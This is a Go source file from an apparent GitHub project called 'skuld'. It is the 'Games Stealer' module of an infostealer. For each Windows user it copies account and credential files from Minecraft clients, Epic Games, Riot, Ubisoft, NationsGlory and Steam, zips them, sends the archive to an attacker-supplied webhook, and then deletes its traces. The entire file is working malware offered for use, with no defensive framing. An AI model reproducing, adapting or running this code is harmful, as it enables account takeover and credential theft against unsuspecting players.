-
Notifications
You must be signed in to change notification settings - Fork 18
/
games.go
129 lines (110 loc) · 4.18 KB
/
games.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package games
import (
"fmt"
"github.com/hackirby/skuld/utils/fileutil"
"github.com/hackirby/skuld/utils/hardware"
"github.com/hackirby/skuld/utils/requests"
"os"
"path/filepath"
"strings"
)
func Run(webhook string) {
for _, user := range hardware.GetUsers() {
paths := map[string]map[string]string{
"Epic Games": {
"Settings": filepath.Join(user, "AppData", "Local", "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"),
},
"Minecraft": {
"Intent": filepath.Join(user, "intentlauncher", "launcherconfig"),
"Lunar": filepath.Join(user, ".lunarclient", "settings", "game", "accounts.json"),
"TLauncher": filepath.Join(user, "AppData", "Roaming", ".minecraft", "TlauncherProfiles.json"),
"Feather": filepath.Join(user, "AppData", "Roaming", ".feather", "accounts.json"),
"Meteor": filepath.Join(user, "AppData", "Roaming", ".minecraft", "meteor-client", "accounts.nbt"),
"Impact": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Impact", "alts.json"),
"Novoline": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Novoline", "alts.novo"),
"CheatBreakers": filepath.Join(user, "AppData", "Roaming", ".minecraft", "cheatbreaker_accounts.json"),
"Microsoft Store": filepath.Join(user, "AppData", "Roaming", ".minecraft", "launcher_accounts_microsoft_store.json"),
"Rise": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Rise", "alts.txt"),
"Rise (Intent)": filepath.Join(user, "intentlauncher", "Rise", "alts.txt"),
"Paladium": filepath.Join(user, "AppData", "Roaming", "paladium-group", "accounts.json"),
"PolyMC": filepath.Join(user, "AppData", "Roaming", "PolyMC", "accounts.json"),
"Badlion": filepath.Join(user, "AppData", "Roaming", "Badlion Client", "accounts.json"),
},
"Riot Games": {
"Config": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Config"),
"Data": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Data"),
"Logs": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Logs"),
},
"Uplay": {
"Settings": filepath.Join(user, "AppData", "Local", "Ubisoft Game Launcher"),
},
"NationsGlory": {
"Local Storage": filepath.Join(user, "AppData", "Roaming", "NationsGlory", "Local Storage", "leveldb"),
},
}
tempDir := filepath.Join(os.TempDir(), fmt.Sprintf("games-%s", strings.Split(user, "\\")[2]))
found := ""
for name, path := range paths {
dest := filepath.Join(tempDir, strings.Split(user, "\\")[2], name)
if err := os.MkdirAll(dest, os.ModePerm); err != nil {
continue
}
var err error
for fName, fPath := range path {
if filepath.Ext(fPath) != "" {
os.MkdirAll(filepath.Join(dest, fName), os.ModePerm)
err = fileutil.CopyFile(fPath, filepath.Join(dest, fName, filepath.Base(fPath)))
} else {
err = fileutil.CopyDir(fPath, filepath.Join(dest, fName))
}
if err != nil {
continue
}
if !strings.Contains(found, name) {
found += fmt.Sprintf("\n✅ %s ", name)
}
}
}
if found == "" {
os.RemoveAll(tempDir)
continue
}
tempZip := filepath.Join(os.TempDir(), "games.zip")
if err := fileutil.Zip(tempDir, tempZip); err != nil {
os.RemoveAll(tempDir)
continue
}
requests.Webhook(webhook, map[string]interface{}{
"embeds": []map[string]interface{}{
{
"title": "Games Stealer - " + strings.Split(user, "\\")[2],
"description": "```" + found + "```",
},
},
}, tempZip)
os.RemoveAll(tempDir)
os.Remove(tempZip)
}
tempDir := fmt.Sprintf("%s\\%s", os.TempDir(), "steam-temp")
defer os.RemoveAll(tempDir)
path := "C:\\Program Files (x86)\\Steam\\config"
if !fileutil.IsDir(path) {
return
}
if err := fileutil.CopyDir(path, tempDir); err != nil {
return
}
tempZip := filepath.Join(os.TempDir(), "steam.zip")
if err := fileutil.Zip(tempDir, tempZip); err != nil {
return
}
defer os.Remove(tempZip)
requests.Webhook(webhook, map[string]interface{}{
"embeds": []map[string]interface{}{
{
"title": "Steam",
"description": "`✅✅✅`",
},
},
}, tempZip)
}